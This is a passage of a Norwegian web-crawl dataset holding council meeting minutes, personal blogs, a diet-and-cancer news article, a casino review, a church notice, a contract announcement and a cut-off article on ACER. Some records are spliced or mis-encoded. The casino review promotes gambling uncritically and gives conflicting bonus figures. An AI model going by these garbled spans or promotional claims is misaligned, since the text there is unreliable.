p\u00e5 ca.3 \u00e5r. Til Regionr\u00e5dets orientering, er tidligere informasjon gitt av Geir Dyrn\u00e6s om at han kan f\u00e5 benytte mer tid mot Ringeriksregionen n\u00e5 reversert som f\u00f8lge av vedtak i Administrasjonsutvalget i fylkeskommunen. Dette gir enn\u00e5 st\u00f8rre grunn til \u00e5 hevde at sekretariatsordningen m\u00e5 styrkes. Sekret\u00e6rens forel\u00f8pige skisse til mulige l\u00f8sninger ble dr\u00f8ftet. I denne skissen l\u00e5 f\u00f8lgende innhold: Arbeidsoppgaver tenk lagt til sekretariatet? Dette er et vesentlig sp\u00f8rsm\u00e5l for \u00e5 avklare dimensjoneringen gjennom bemanningsst\u00f8rrelse. F\u00f8lgende oppgaver kan v\u00e6re aktuelle \u00e5 legge til sekretariatet: a. M\u00f8teinnkalling- og m\u00f8tereferat-skriving samt det som er n\u00f8dvendig med bestillinger av lokaler, foredragsholdere, avtale befaringer m.v. For denne passive sekret\u00e6rtjeneste, vil en kunne greie seg med ca. 20% bemanningsressurs. b. Oppgaver som under pkt. a. I tillegg koordinere Regionr\u00e5dets virksomhet. Slik funksjonen her beskrives ligner den kanskje mye p\u00e5 regionkoordinator-stillingen p\u00e5 Hadeland. Her kreves det av stillingsinnehaveren mer aktivt arbeid med planer/strategier og planprosesser(samordne fylkesplanarbeid, delplaner og kommuneplaner med fokus p\u00e5 regionen), utvikle\n\n\n\n9 strategier og initiere prosjekter samt delta i m\u00f8ter og fora som er viktige i nettverk-sammenheng, for eksempel mot Vestregionen, fylkeskommunene, n\u00e6ringsorganisasjoner, Innovasjon Norge, SIVA, samferdselsmyndigheter, m.m. Arbeidet m\u00e5 skje i n\u00e6rt samarbeid med den til enhver tid sittende leder av Regionr\u00e5det og i h.h.t. Regionr\u00e5dets prioriteringer. Jeg kan vanskelig skj\u00f8nne at en slik jobb som beskrevet her kan l\u00f8ses under en ressurs p\u00e5 minimum 60 80% stilling. c. N\u00e6rmere definerte prosjektoppgaver. Ikke bare koordinere, men g\u00e5 mer aktivt inn som prosjektansvarlig eller prosjektleder p\u00e5 vegne av Regionr\u00e5det som prosjekteier. Ogs\u00e5 her forutsettes det at oppgaver beskrevet under pkt. a og b skal utf\u00f8res i tillegg. Stillingsst\u00f8rrelse her er minimum 100% stilling, litt avhengig hvordan en velger \u00e5 organisere prosjektene med egne prosjektledere. Med prosjektfinansiering eksternt, kan en her ha prosjektledere ansatt i engasjementstillinger p\u00e5 en fleksibel og m\u00e5lrettet m\u00e5te innenfor de finansielle rammer som skapes i det enkelte prosjekt. Det neste hovedsp\u00f8rsm\u00e5let er tilsettingsform. F\u00f8lgende tilsettingsformer kan v\u00e6re aktuelle: a. Fast tilsetting ekstern utlysning b. Engasjement ekstern utlysning c. Fast stilling eller engasjement intern utlysning d. Bruk av ekstern konsulent e. Frikj\u00f8p av medarbeider i Ringerike, Jevnaker eller Hole f. Ulike former for avtalebaserte l\u00f8sninger Andre temaer som b\u00f8r dr\u00f8ftes er: a. Kontorplassering / hensiktsmessig samlokalisering b. Profilering - egen web-side, skrivepapir, m.m. c. L\u00f8nnsniv\u00e5? d. Arbeidsgiveransvar e. Kostnadsdekking/kostnadsfordeling l\u00f8nn/sosiale utgifter og andre driftsutgifter F\u00f8lgende forslag, framlagt av ordf\u00f8rer Per Berger, legges til grunn for en videre utredning av saken: 1. Det opprettes en 60 % stilling som sekret\u00e6r for Regionr\u00e5det i Ringeriksregionen. 2. Stillingen finansieres med 50 % fra Fylkeskommunen og 50 % av de deltagende kommunene (30 % fra Ringerike, 10 % fra Jevnaker og 10 % fra Hole). 3. Stillingen er et engasjement over 3 \u00e5r og utlyses internt i de tre kommunene. 4. Oppgaver som gjengitt under pkt. a og b. 5. Kontorplassering i Ringerike kommune (alternativt i den kommunen den interne s\u00f8keren er tilknyttet). R\u00e5dmennene bes arbeide videre med konkretisering av saken, herunder: Arbeidsoppgaver/funksjon Budsjett, herunder finansiering og kostnadsfordeling L\u00f8nn/arbeidsgiveransvar Lokalisering Andre relevante forhold Roar Hammerstad\n\n\n\n10 sekret\u00e6r\n\n\n\n REFERAT FRA M\u00d8TE I R\u00c5DET FOR RINGERIKSREGIONEN Tid: Mandag 06.06.2011, kl 09.00-13.00 Sted: Ringerike r\u00e5dhus, Formannskapssalen M\u00f8tedeltagere Til stede Forfall Kjell B Hansen, ordf\u00f8rer Ringerike Wenche\n\n### Ellers m\u00f8tte: Folkehelsekoordinator Ane Bj\u00f8rnsgaard, Oppland f. kom - til sak 37/13 Kulturkonsulent Rune Larsen, Gran kommune - til sak 37/13\n\n Gamvik kommune M\u00f8tested: Mehamn Samfunnshus M\u00f8tedato: 02.10.2008 Tid: 10:00 M\u00d8TEPROTOKOLL Formannskapet Til stede p\u00e5 m\u00f8tet Medlemmer: Marius Nilsen, Kai Brox, Siv Anita Steel, Frank Brox Forfall: Inger\n\n", "language": "no", "__index_level_0__": "250e0427-6807-4542-92ec-ad0d32c0cf58"}
{"url": "http://herixta.blogspot.com/2011/05/syke-barn.html", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00596.warc.gz", "warc_date": "2018-03-24T23:48:10Z", "text": "\n\n    \n\n## tirsdag 3. mai 2011\n\n### Syke barn\n\n kl. 21:03 \n\nDenne tirsdagen og onsdagen hadde jeg holdt av for \u00e5 f\u00e5 tid til \u00e5 slappe av og ta meg inn etter ferien. Det kjenner jeg at kroppen trenger, og derfor har jeg kanskje isolert meg litt disse dagene. Det jeg ikke hadde tatt med i beregningen var at Magnus (som var syk hele ferien v\u00e5r) skulle smitte Milla, slik at hun ogs\u00e5 skulle v\u00e6re hjemme sammen med oss p\u00e5 dagtid.  \nP\u00e5 kvelden i g\u00e5r mens Magnus fikk sin vanlige kveldsflaske (med sliml\u00f8sende hostemedisin i for f\u00f8rste gang, for \u00e5 pr\u00f8ve \u00e5 bli kvitt den f\u00e6le hosten) v\u00e5knet plutselig Milla og jeg syntes hun var fryktelig varm. Det ante meg at hun hadde f\u00e5tt feber, s\u00e5 jeg tok fram \u00f8retermometeret (som jeg absolutt ikke har full tillit til) og m\u00e5lte flere ganger i begge \u00f8rer. Resultatet var 39,5 grader, mens jeg hadde 36,6. Det vil si at feberen trolig l\u00e5 rundt 40 grader fordi slike termometer m\u00e5ler omtrent 0,5 grader for lavt. Hun ble fort kledd av, fikk en kald klut p\u00e5 pannen, febernedsettende og vann p\u00e5 t\u00e5teflaske. Det var sn\u00e5lt \u00e5 se henne ligge der med flaska - tenk at det bare er to \u00e5r siden hun var p\u00e5 alder med Magnus og l\u00e6rte seg \u00e5 holde flasken selv... \u2665  \n\n\n\nHun ville ikke sovne igjen etter dette, og begynte etterhvert \u00e5 bli d\u00e5rlig i magen ogs\u00e5 (samme typen d\u00e5rlig som Magnus har v\u00e6rt), og endte til slutt med \u00e5 f\u00e5 ta med dynen og puta si inn i senga v\u00e5r. Hun l\u00e5 der nesten hele natta, avbrutt av flere do-bes\u00f8k og bleieskift, men til slutt m\u00e5tte hun g\u00e5 og legge seg i sin egen seng. Hun var ikke s\u00e6rlig forn\u00f8yd med det, men sluknet fort. Det gjorde heldigvis vi ogs\u00e5, for to timer senere bestemte Magnus at det var morgen, og det var p\u00e5'n igjen.  \nEn hel dag hjemme med begge to har for \u00e5 v\u00e6re helt \u00e6rlig v\u00e6rt grusomt. Det var ikke den rette dagen at begge skulle v\u00e6re syke, men jeg har fors\u00f8kt s\u00e5 godt som mulig \u00e5 ikke la den d\u00e5rlige formen min g\u00e5 utover dem. Jeg hadde et h\u00e5p om \u00e5 i hvertfall f\u00e5 et par timer fri, fordi jeg visste at begge skulle sove i l\u00f8pet av dagen, men det nyttet rett og slett ikke, fordi den ene v\u00e5knet idet jeg la den andre. Siden Milla er syk har hun trengt mer n\u00e6rhet enn vanlig, og har derfor sittet opp\u00e5 meg og sutret det meste av tiden. Jeg har derfor fors\u00f8kt \u00e5 finne p\u00e5 alle mulige aktiviteter som kunne gi meg litt fred; puslespill, barnetv, duploklosser, tegning, b\u00f8ker og til slutt gjorde jeg et fors\u00f8k p\u00e5 \u00e5 sette p\u00e5 \"Skj\u00f8nnheten og Udyret\" for \u00e5 se film sammen med Milla. Jeg hadde mine mistanker om at t\u00e5lmodigheten ikke kom til \u00e5 holde lenge, men vi satte oss til rette med litt potetgull og saft og kom til der Belle blir kidnappet f\u00f8r potetgullet var tomt og hun ble lei. Hvor lenge er det? 20 minutter kanskje...  \n\n\n\nDet h\u00f8res ut som jeg ikke trives sammen med barna mine, s\u00e5 jeg h\u00e5per ikke dere misforst\u00e5r meg, men etter en hel uke p\u00e5 ferie sammen med begge to hadde jeg absolutt trengt litt (om s\u00e5 bare noen timer) alenetid.  \n  \n\nJeg vet jeg sutrer...\u00a0\n\nSorry\\!\n\n  \n\n Skrevet av Hanne   \n\n#### 1 kommentar:\n1.  \n    \n    \u2665 Nina - mamma og student \u26653. mai 2011 kl. 21:07\n    \n    Det er lov \u00e5 v\u00e6re sliten uten at du m\u00e5 sitte igjen med d\u00e5rlig samvittighet for \u00e5 f\u00f8le at du trenger alene-tid\\! ;)\n    \nTusen takk for at du vil kommentere innlegget mitt\\! Trykk gjerne p\u00e5 \"Abonner via e-post\", s\u00e5 f\u00e5r du svarene tilsendt dit.  \nHa en fortsatt fin dag\\!\n\n## Ny her inne? Her er litt om meg:\n\n\n\n  - Hanne  \n    Jeg er f\u00f8rst og fremst mamma til tre sm\u00e5 rusketroll, Milla, Magnus og Ludvig. Pappaen i familien (Martin) og jeg har v\u00e6rt kj\u00e6rester siden 2004, da vi begge var ganske sm\u00e5 rusk selv. Vi bor i et passe stort hus i et passe befolket omr\u00e5de i passe avstand fra det meste og med de viktigste personene like i n\u00e6rheten.\n\n", "language": "no", "__index_level_0__": "da8ff18a-9a0d-4b49-b5fa-133de78ba2c9"}
{"url": "http://hamaho.blogg.no/1343923618_hva_kan_jeg_snakke_om.html", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00608.warc.gz", "warc_date": "2018-03-24T23:29:56Z", "text": "  \n  \n  \n## Hva kan jeg snakke om?\n\nOkei, jeg har i hele dag tenkt p\u013a videoblogg, men jeg aner ikke hvordan jeg skal gj\u0159re det, eller hva jeg skal snakke om\\!  \nS\u013a hvis du har noen tips til hva jeg kan gj\u0159re? Kan gj\u0159re det meste, unntatt \"m\u013a gj\u0159re-video\", er s\u013a oppbrukt, og jeg synes det blir for mye stress, for jeg kan ikke redigere\\! x)  \n  \n  \n*Tatt og redigert av meg\\!*  \n  \n**S\u013a, hva kan jeg videoblogge om? :-)**  \n  \nSkal pr\u0159ve \u013a\u00a0f\u013a\u00a0laget en videosnutt, s\u013a fort jeg kan. Men m\u013a ha noe \u013a snakke om, eller vise noe\\!\u00a0  \n  \n\\-HaMaHo\n\n### 3 kommentarer\n\n **Postet av:** Jovana - xxxlovexxx\n\n**Dato:** 02.08.2012 **Klokken:** 22:51 **-** http://xxxlovexxx.blogg.no\n\n  \nVis yndlingsplagga dine\\! din yndlings shorts, bukse, genser, tskjorte, topp, veske, smykke, sko, osvosv :D\n\n **Postet av:** Den mest awesome jenta i hele verden\n\n**Dato:** 03.08.2012 **Klokken:** 22:17 **-** \n\n  \n?motivasjon (trening)  \n  \n?dine m\u013al  \n  \nHilsen meeeeg :Ddu vet hvem jeg er \\<3\n\n **Postet av:**\n\n**Dato:** 10.08.2012 **Klokken:** 12:47 **-** \n\n  \n  \nhva med en sp\u0159rsm\u013alsrunde? har lest litt gjennom bloggen og har ikke sett noen, s\u013a tror det hadde v\u0107rt g\u0159y med en :D\n\n", "language": "no", "__index_level_0__": "b4777ea2-8231-4f8d-bd83-12949b0a68fe"}
{"url": "https://forskning.no/mat-og-helse-slanking-kreft/2008/02/okt-kreftfare-med-proteinrik-mat", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00309.warc.gz", "warc_date": "2018-03-24T23:16:13Z", "text": "At overvekt \u00f8ker kreftfaren, er ikke noe nytt. Men kan vinninga g\u00e5 opp i spinninga dersom man slanker seg ved \u00e5 f\u00f8lge proteindietter? En ny unders\u00f8kelse tyder p\u00e5 det.\n\n\n\n#### Didrik S\u00f8derlind\n\njournalist i forskning.no\n\n11.12 2006 05:00\n\nDet finnes mye forskning som peker p\u00e5 sammenhengen mellom kosthold og kreftrisiko.\n\nOvervektige mennesker har langt st\u00f8rre sjanse for \u00e5 utvikle en rekke kreftformer.\n\nDette er selvf\u00f8lgelig et godt argument for \u00e5 slanke seg, og mange kurer finnes p\u00e5 markedet.\n\n## Br\u00f8d er Djevelens verk\u2026\n\nDe senere \u00e5rene har det v\u00e6rt popul\u00e6rt med slankekurer basert p\u00e5 h\u00f8yt proteininntak. Fedon Lindberg bygget et imperium p\u00e5 \u00e5 advare folk mot overforbruk av br\u00f8d og poteter, mens Atkins-dietten gikk enda lenger.\n\nBegge diettene blir ofte tendensi\u00f8st fremstilt i media; poengene fra begge er at et h\u00f8yt inntak av lettford\u00f8yelige karbohydrater, som sukker, hvitt mel og poteter, vil f\u00f8re til at du legger p\u00e5 deg.\n\nDerimot er det lurt \u00e5 spise mer protein.\n\nMen \u00e5 spise for mye protein kan f\u00f8re til st\u00f8rre sannsynlighet for \u00e5 utvikle krefttyper som ikke henger sammen med overvekt, antyder en ny studie.\n\nDen er publisert i siste nummer av American Journal of Clinical Nutrition, og hovedforfatter er Luigi Fontana, amanuensis i medisin ved Washington University.\n\n## Veggisgruppe\n\nFontana og hans kolleger fulgte et utvalg mennesker, delt inn i tre grupper, over tid.\n\n  \n\n\"\u00c5 l\u00f8pe 75 kilometer i uka hjelper, men kostholdet hjelper mer.\"\n\nEn gruppe besto av 21 slanke mennesker som spiste vegetarisk mat med lavt proteininnhold og mye r\u00e5kost.\n\nEn annen besto av 21 utholdenhetsl\u00f8pere. De hadde et vestlig kosthold med flere kalorier og mer protein enn vegetarianerne.\n\nMen ettersom de i gjennomsnitt l\u00f8p over 75 kilometer per uke var de ikke s\u00e6rlig mye mer lubne enn r\u00e5kostspiserne.\n\nDen tredje gruppa besto av mennesker med stillesittende livsstil, som spiste et kosthold med st\u00f8rre innslag av sukker, behandlede kornprodukter og dyreprodukter.\n\nDet ble s\u00f8rget for at faktorer som kj\u00f8nn, alder og andre demografiske faktorer ikke p\u00e5virket utfallet. Ingen av deltagerne r\u00f8yket eller hadde diabetes, hjerte- og karsykdommer, kreft, lungesykdommer eller andre kroniske sykdommer som kunne ha p\u00e5virket utfallet.\n\nLavproteingruppa spiste 0,73 gram per kilo kroppsvekt, l\u00f8perne fikk i seg 1,6 gram mens de stillesittende \u00e5t 1,23 gram.\n\nAnbefalt dagsinntak er 0,8 gram protein, opplyser Sosial- og Helsedirektoratet. Det er nesten umulig \u00e5 komme under dette niv\u00e5et med et vanlig kosthold.\n\nDet viste seg at b\u00e5de \"veggisgruppa\" og l\u00f8perne hadde lavere niv\u00e5er av plasma-vekstfaktorer og visse hormoner som knyttes til kreftrisiko.\n\n## F\u00e5 kalorier best\n\n\\- Men de som fulgte en diett med f\u00e5 kalorier og lite protein hadde betraktelig lavere forekomst av en bestemt plasma-vekstfaktor ved navn IGF-1, enn like slanke l\u00f8pere hadde, sier Fontana.\n\nHan h\u00e5per \u00e5 kunne forske mer p\u00e5 dette, men mener at funnene tyder p\u00e5 at vi b\u00f8r spise mindre protein enn vi gj\u00f8r.\n\nS\u00e5 hvordan skal vi da spise?\n\nFontanas kostholdsr\u00e5d er ikke revolusjonerende. Fullkorn, b\u00f8nner, frukt og gr\u00f8nt. Man b\u00f8r spise langt mindre dyreprodukter, mener han, men f\u00e5 i seg litt r\u00f8dt kj\u00f8tt innimellom.\n\nRegler for leserkommentarer p\u00e5 forskning.no:\n\n1.  Diskuter sak, ikke person. Det er ikke tillatt \u00e5 trakassere navngitte personer eller andre debattanter.\n2.  Rasistiske og andre diskriminerende innlegg vil bli fjernet.\n3.  Vi anbefaler at du skriver kort.\n", "language": "no", "__index_level_0__": "4e764825-1d88-4211-8563-e213a994debb"}
{"url": "http://www.casinozx.com/no/review/betsafe/", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00667.warc.gz", "warc_date": "2018-03-24T23:46:43Z", "text": "## Oppsummering\n\n| Navn                     | Betsafe Casino                                    |\n| Nettverk:                | Betsafe network                                   |\n| Grunnlagt:               | 2006                                              |\n| Land:                    | Malta                                             |\n| Bonusinfo:               | Opptil 10 000 kroner i bonus                      |\n \n\n## Omtale\n\nBetsafe casino ble lansert i 2006 og har vokst til \u00e5 bli en av de st\u00f8rste akt\u00f8rene p\u00e5 det norske markedet. Siden tilbyr spill av h\u00f8yeste kvalitet. De tilbyr et komplett arsenal av alt en seri\u00f8s spiller er p\u00e5 utkikk etter, og deres online casino er en viktig del av spillutvalget.\n\nDet f\u00f8rste som sl\u00e5r deg n\u00e5r du surfer p\u00e5 deres hjemmeside er et stilig og elegant design som gir et meget godt inntrykk. Man har her lykkes med et nettsted som er enkelt \u00e5 navigere p\u00e5, med en ganske klassisk tiln\u00e6rming som f\u00f8les frisk og behagelig for \u00f8ynene. Kasinoet har blitt delt inn i tre ulike seksjoner; et kasino som er tilgjengelig direkte i nettleseren, en nedlastbart casinoklient og et live casino hvor du kan spille kasinospill p\u00e5 ordentlig gjennom en tilkobling til et live webkamera.\n\n**Tilbud og bonuser**\n\nAlle nye kunder f\u00e5r 100 % innskuddsbonus p\u00e5 deres f\u00f8rste innskudd p\u00e5 opp til 3000 NOK, noe som vil gi deg en gunstig start p\u00e5 casinoeventyret p\u00e5 Betsafe casino. Disse pengene m\u00e5 omsettes 25 ganger f\u00f8r du kan be om uttak, noe som synes rimelig i forhold til kravene andre sider har \u2013 en stabil og positiv startbonus rett og slett.\n\nI spesielle kampanjerperioder gis det en gratis bonus ved registrering, men da vi bes\u00f8kte siden var ikke noen slik bonus aktiv.\n\nSom kunde hos Betsafe casino kan man forvente mange fordeler. Betsafe er en av de mest sjener\u00f8se sidene n\u00e5r det gjelder gratis spinns og reload bonuser. Noen ganger per uke vil kundene motta flotte nye tilbud. I tillegg kj\u00f8res det ofte ukelange l\u00f8p der man hver dag f\u00e5r et nytt tilbud, S\u00e5 med andre ord: husk \u00e5 takke ja til \u00e5 motta tilbud via e-post\\!\n\n**Spilltilbud og leverand\u00f8rer**\n\nVi har ikke noe d\u00e5rlig \u00e5 si om Betsafe casino\u00a0 \u2013 de klart \u00e5 dekke alt en kasinospiller kan \u00f8nske. Velg blant hundrevis av spill NetEnt \u2013 baserte Casino Red som kan spilles direkte i nettleseren, hvor du finner noen av de mest originale og spennende spill tilgjengelig i dag. Vil du ha enda flere spill s\u00e5 er du bare ett tastetrykk fra \u00e5 laste ned deres casinoklient (Casino Black) hvor du finner 200 + spill fra spillprodusenten Cryptologic , som har et samarbeid med gigantiske Marvel , og lar deg spille p\u00e5 spilleautomater basert p\u00e5 kjente tegneseriefigurer som Spiderman, Hulken og Batman\\!\n\nI tillegg tilbyr de et live casino, som er et relativt nytt fenomen i markedet, hvor du kan spille kasinospill med ekte dealere\\!\n\n**Kundeservice**\n\nBetsafe er kjent for \u00e5 nominere sin egen kundeservice som den beste i bransjen. De har investert betydelige ressurser i \u00e5 gi rask og effektiv hjelp . Support kan n\u00e5s via e-post, live chat eller telefon, og alle kanaler er \u00e5pne 24 timer i d\u00f8gnet hver dag hele \u00e5ret . Vi kan derfor v\u00e6re enige i at det har den beste supporten i bransjen.\n\n**Innskudd og uttak**\n\nB\u00e5de innskudd og uttak behandles raskt og sikkert gjennom metoder som direkte overf\u00f8ring via bank, VISA, MasterCard, Neteller og Moneybookers for \u00e5 nevne noen . Betsafe tar naturligvis imot norske VISA-og Mastercard.\n\n**Positivt**\n\n\u2022 Meget slank og stilig design som du ikke blir lei av\n\n\u2022 Et sv\u00e6rt bredt tilbud av spill sikrer at du aldri blir lei\n\n\u2022 Masse nye tilbud for kundene som spiller p\u00e5 siden kontinuerlig\n\n\u2022 Vennlig, effektiv og kundest\u00f8tte, tilgjengelig hele d\u00f8gnet hver dag hele \u00e5ret\n\n**Negativt**\n\n\u2022 Ingen fast registrering bonus for nye kunder, slike er bare tilgjengelige i bestemte kampanjer\n\n", "language": "no", "__index_level_0__": "a2cb9b6c-56fd-467f-b740-257f5362a981"}
{"url": "http://osteroy.kyrkja.no/Artikler/Nyheter/ArticleId/34332/Tarnagenthelg-i-Hamre-kyrkje", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00348.warc.gz", "warc_date": "2018-03-24T23:49:15Z", "text": "### T\u00e5rnagenthelg i Hamre kyrkje 7.-8. april 2018\n\n\n\nVil du bli t\u00e5rnagent?\n\n17.-18. februar er det 2.klassingar i Hamre sokn sin tur til \u00e5 vera t\u00e5rnagentar i Hamre kyrkje.\n\nT\u00e5rnagentane f\u00e5r utforska kyrkja, Bibelen, t\u00e5rnet og klokkene. Dei f\u00e5r vera med p\u00e5 mange kjekke aktivitetar og f\u00e5r fleire viktige oppdrag.\n\nAgentane m\u00f8ter til agentm\u00f8te i kyrkja laurdag **kl.14.00.** Agent-taco blir servert ca. kl.16.00.\n\nS\u00f8ndag m\u00f8ter dei **kl. 10.00** og deltar p\u00e5 gudsteneste kl.11.00-12.15\n\nInvitasjon blir tilsendt i posten. Hugs p\u00e5melding innan fristen 4. april\\!\n\nP\u00e5melding for t\u00e5rnagentar i Hamre kyrkje\n\n\u00a0\n", "language": "no", "__index_level_0__": "51479200-a1db-47af-babf-3b13d4487f5e"}
{"url": "https://itello.no/avtale-med-statens-vegvesen/", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00309.warc.gz", "warc_date": "2018-03-24T23:25:45Z", "text": "#### Avtale med Statens vegvesen\n\nPosted 20. januar 2017 by by Ole Anders Wilskow Jenssen\n\n**Statens vegvesen har signert avtale med Itello for levering av klienter med tilbeh\u00f8r.**\n\nStatens vegvesen arbeider for at b\u00e5de g\u00e5ende, syklende, kj\u00f8rende og kollektivreisende skal komme trygt fram. De planlegger, bygger, drifter og vedlikeholder riks- og fylkesveger og har tilsyn med kj\u00f8ret\u00f8y og trafikanter. Som fylkeskommunenes og statens vegadministrasjon bidrar Statens vegvesen med faglig grunnlag for politiske beslutninger og setter dem ut i livet. Statens vegvesen er en stor samfunnsakt\u00f8r med over 7000 engasjerte medarbeidere med bred kompetanse fordelt p\u00e5 Vegdirektoratet og fem regioner.\n\nOmfang av avtalen:  \nAvtaleperioden er 2 \u00e5r. Statens vegvesen har i tillegg en opsjon p\u00e5 \u00e5 utvide avtalen med ytterligere 2 \u00e5r.\u00a0 Estimert uttak p\u00e5 avtalen er 26 millioner pr \u00e5r.\n\n5 tilbydere besvarte anbudet og Itello ble valgt basert p\u00e5 en samlet vurdering av pris og oppfyllelse av kravspesifikasjon.\n\n\n\n\n\n", "language": "no", "__index_level_0__": "382c4272-4e52-44b7-95a0-2fcffaa17074"}
{"url": "https://www.tv2.no/a/9735491", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00309.warc.gz", "warc_date": "2018-03-24T23:42:55Z", "text": "# EU-krangel skaper norsk kraft-storm\n\nFrontene er steile kort tid f\u00f8r Stortinget skal stemme over Norges tilslutning til EUs energibyr\u00e5.\n\nUenigheten st\u00e5r om Norge skal slutte seg til ACER.\n\nACER er EUs energibyr\u00e5 som jobber for samordning av det europeiske kraftmarkedet.\n\n22\\. mars skal saken etter planen behandles i Stortinget.\n\n**Motstanderne av en ACER-avtalen mener Norge gir fra seg r\u00e5derett over deler av norsk kraftindustri. De frykter at resultatet blir h\u00f8yere str\u00f8mpriser.**\n\n\u2013 Det er grunnleggende udemokratisk \u00e5 gi fra seg makt til et system som Norge ikke er en del av, nemlig EU, sier Senterparti-leder Trygve Slagsvold Vedum til TV 2.\n\n\n\n## Betinget ja til Acer i Ap\n\n## EU-strid\n\nI et innlegg p\u00e5 NRK skriver Vedum at h\u00f8yere str\u00f8mregninger for norske forbrukere og tap av industriarbeidsplasser kan bli konsekvensene av \u00e5 slutte seg til EUs energiunion.\n\nVedum viser til at eksport av str\u00f8m, som er en r\u00e5vare, ikke gir like stor verdiskapning som industriarbeidsplasser. Og norsk industriarbeidsplasser vil lide om str\u00f8mmen blir dyrere.\n\n\u2013 EUs m\u00e5l er samordnede energipriser i Europa. Fram til n\u00e5 har vi alltid hatt lavere energipris i Norge enn i Europa, s\u00e5 det er en risiko for at str\u00f8mmen blir dyrere, sier Vedum.\n\n*\u2013 Hvordan forklarer du at Norsk Industri er positiv til \u00e5 slutte seg til ACER?*\n\n\u2013 Det m\u00e5 de nesten svare for selv, men jeg mener NHO-systemet er redde for \u00e5 si noe som kan oppfattes som EU-kritisk. NHO har en ideologisk tiln\u00e6rming til EU, og om du snakker med folk som jobber i industrien, s\u00e5 mobiliserer de kraftig mot at vi skal slutte oss til energisamarbeidet.\n\n*\u2013 Er dette ogs\u00e5 grunnen til Senterpartiets motstand, at dere er imot EU?*\n\n\n\n\u2013 Ja, det ligger i det jeg svarte tidligere. Vi er mot hele systemet som overf\u00f8rer makt til et organ som ikke styres av norske folkevalgte og det norske folk, sier Vedum.\n\n## LO sier nei\n\n**LO vedtok mandag at de er imot ACER, melder Fri Fagbevegelse. Ogs\u00e5 deler av Arbeiderpartiet kjemper mot avtalen, if\u00f8lge Aftenposten. P\u00e5 den andre siden st\u00e5r regjeringen og NHO.**\n\n*\u00abOm vi sier nei til ACER, vil Norge, som Europas ledende fornybarnasjon, ikke ha mulighet til \u00e5 delta i kunnskapsutvikling, erfaringsutveksling og utforming av regelverk i det framtidige kraftmarkedet i Europa. Et regelverk som vi uansett er n\u00f8dt til \u00e5 forholde oss til hvis vi skal kraftutveksle med Europa\u00bb*, skriver NHO p\u00e5 sine nettsider.\n\nI samme artikkel tilbakevises det at str\u00f8mprisene vil g\u00e5 opp som f\u00f8lge av norsk tilknytning til ACER.\n\nOslos n\u00e6ringsbyr\u00e5d Kjetil Lund (Ap) er ogs\u00e5 en varm tilhenger av energisamarbeidet. Han mener debatten om ACER har kommet helt p\u00e5 avveie. ACER er ikke noe annet enn en l\u00f8sere, europeisk versjon av v\u00e5rt hjemlige NVE, skrev Lund i et innlegg i helgen.\n\n\u2013 ACER skal avklare tekniske sp\u00f8rsm\u00e5l og eventuelle uenigheter om bruk av el-nettet. Men diskusjonen har blitt til et sammensurium av motstand mot kraftkabler og motstand mot EUs energiunion, skriver Lund, som er tidligere direkt\u00f8r for klima og myndighetskontakt i Statkraft og r\u00e5dgiver for Jens Stoltenberg.\n\n## \u2013 Prisen bestemmes ikke av ACER\n\n\n\n## EU vil kutte klagefristen din med opptil tre \u00e5r: \u2013 Stor risiko for norske forbrukere\n\nEt nei til ACER betyr at Norge starter arbeidet med \u00e5 trekke seg ut av det felles europeiske energi- og klimasamarbeidet, noe som strider mot landets interesser. I dag har Norge full tilgang til det europeiske kraftmarkedet, og vi eksporterer gass for 200 milliarder kroner. Flyten av elektrisk kraft g\u00e5r begge veier, men over tid eksporterer vi mer enn vi importerer, skriver Lund.\n\n\u2013 For Norge er dette en stor fordel fordi vi de fleste \u00e5r har kraftoverskudd, argumenterer byr\u00e5den.\n\n**Lund er krystallklar p\u00e5 at en tilslutning til ACER ikke vil f\u00f8re til h\u00f8yere str\u00f8mpriser.**\n\n\u2013 ACER vil ikke i seg selv p\u00e5virke str\u00f8mprisene. Str\u00f8mprisene bestemmes av markedet. Slik har det v\u00e6rt i Norge i 25 \u00e5r. Kraftprisene n\u00e5 er gjennomg\u00e5ende lavere enn de var for noen \u00e5r siden. Mye tyder p\u00e5 at vi kan f\u00e5 lavere kraftpriser i \u00e5rene fremover, n\u00e5r mer sol og vind kommer inn i energimiksen, skriver han i en epost til TV 2.\n\n## St\u00f8rre marked gir st\u00f8rre verdi p\u00e5 varen\n\nNHH-professor Gunnar Eskeland mener noe av motstanden mot \u00e5 g\u00e5 inn i samarbeidet skyldes en klassisk frykt for \u00e5 bli overstyrt fra Brussel.\n\n\u2013 Dette er en holdning jeg mener er sunn og grei. Vi har sikkert ikke all verdens meningsberettigelse, men vil likevel bli bundet av beslutningene som tas. Jeg tror ogs\u00e5 det er s\u00e5nn at n\u00e5r det gjelder v\u00e5rt forhold til Europa, s\u00e5 vil vi bli bundet av beslutninger som tas. I denne sammenhengen m\u00e5 vi passe p\u00e5 at vi ikke blir overstyrt uten \u00e5 bli h\u00f8rt, sier Eskeland.\n\n**Et annet argument mot \u00e5 bli med i kraftsamarbeidet, er at mange str\u00f8mkabler vil f\u00f8re til dyrere str\u00f8m i Norge. Feil, sier Eskeland.**\n\n\n\n## S\u00e5 mye koster un\u00f8dig vannkoking\n\n\u2013 Kraften i Norge eies av det norske folk. Det som skjer n\u00e5r vi handler med Europa, er det samme som skjer n\u00e5r vi handler gass med Europa; nemlig at energien blir mer verdifull. Akkurat som med fisk og gass, har vi en vare som er mye mer verdt om vi kan selge den i Europa. Vi skal v\u00e6re forsiktige med \u00e5 takke nei til \u00e5pne kommunikasjonskanaler og nei til \u00e5 bli h\u00f8rt, sier professoren.\n\n## Ulike interesser\n\nProfessor Atle Midttun ved Handelsh\u00f8yskolen BI peker p\u00e5 Norges dilemma ved at vi har motsatte interesser enn de fleste EU-land. Mens Norge befinner seg p\u00e5 selgersiden, domineres EU av kj\u00f8perinteresser innen energi.\n\n\u2013 Hittil har Norge 